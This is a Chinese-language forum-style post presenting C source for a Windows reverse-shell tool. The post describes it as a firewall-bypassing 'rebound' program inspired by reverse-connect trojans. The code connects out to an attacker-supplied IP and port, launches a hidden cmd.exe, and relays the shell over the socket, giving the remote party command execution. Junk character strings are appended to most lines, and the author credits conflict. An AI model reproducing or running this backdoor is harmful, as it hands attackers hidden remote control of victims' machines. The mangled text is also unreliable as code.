这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZC8wA;!z^
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/* ==============================
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Rebound port in Windows NT @nf`Gw ;
By wind,2006/7 |uDdHX8T
===============================*/ `u\n0=go
#include M%#e1"n
#include 31)&vf[[
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#pragma comment(lib,"wsock32.lib") d5d@k
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void OutputShell(); V8(-
SOCKET sClient; .^.z2
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2rMpgV5
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void main(int argc,char **argv) w
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{ %)n=x
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WSADATA stWsaData; jdBLsy@
int nRet; Pz^544\~ou
SOCKADDR_IN stSaiClient,stSaiServer; 4P0}+
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if(argc != 3) x"gVq
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{ EV?z`jE9
printf("Useage:\n\rRebound DestIP DestPort\n"); W!<U85-#S
return; j.YA2mr
} +|rj4j)L&'
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WSAStartup(MAKEWORD(2,2),&stWsaData); SAz
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #/]nxW.S
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stSaiClient.sin_family = AF_INET; d'2A,B~_*
stSaiClient.sin_port = htons(0); ~5g ~;f[4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `{Ul!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c9Yrw^
{ 8_F1AU? u
printf("Bind Socket Failed!\n"); <QvOs@i*
return;
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} A=4OWV?
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stSaiServer.sin_family = AF_INET; 0`hdMLONR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9VT;ep
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xkn;,`t^lJ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h$*!8=M
{ Ls%MGs9PI
printf("Connect Error!"); w(rE`IgW
return; _Y!IEAU/#
} +q oRP2
OutputShell(); n| ;Im&,
} 6wxs1G
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void OutputShell() D]}G.v1
{ Yz b XuJ4
char szBuff[1024]; .u:GjL'$
SECURITY_ATTRIBUTES stSecurityAttributes; a
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OSVERSIONINFO stOsversionInfo; kP"9&R`E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q;u pau
STARTUPINFO stStartupInfo; HV.t6@\};
char *szShell; oQ# 8nu{k
PROCESS_INFORMATION stProcessInformation; m2o0y++TjW
unsigned long lBytesRead; ]tD]Wx%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &o*A{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OYd !v`<
stSecurityAttributes.lpSecurityDescriptor = 0; `]X>V,
stSecurityAttributes.bInheritHandle = TRUE; kFB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PdCEUh\>y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6pzSp
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OH88n69
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z7#+pPt!
stStartupInfo.wShowWindow = SW_HIDE; N0lC0
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stStartupInfo.hStdInput = hReadPipe; Zh,71Umz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g ?k=^C
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GetVersionEx(&stOsversionInfo); ;I*o@x_
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switch(stOsversionInfo.dwPlatformId) `g,..Ns-r
{ NgwbQ7)
case 1: WM{=CD
szShell = "command.com"; xmX 4qtAL
break; /B3i C#?
default: G"6 !{4g
szShell = "cmd.exe"; O}P`P'Y|'
break; *fdTpXa
} KP"+e:a%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;,TFr}p`
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send(sClient,szMsg,77,0); >V937
while(1) yuVs
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{ GmG5[?)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
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if(lBytesRead) y(&Ac[foS}
{ 6mE\OS-I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >Q/Dk7 #
send(sClient,szBuff,lBytesRead,0); iwq!w6+
} F:VIzyMq<
else GeqPRah
{ :Al!1BJQ
lBytesRead=recv(sClient,szBuff,1024,0); ;j7#7MN2_E
if(lBytesRead<=0) break; dI2
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (mOtU8e
} =vPj%oLp'a
} lk!@?
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return; ;`Z{7'^U
}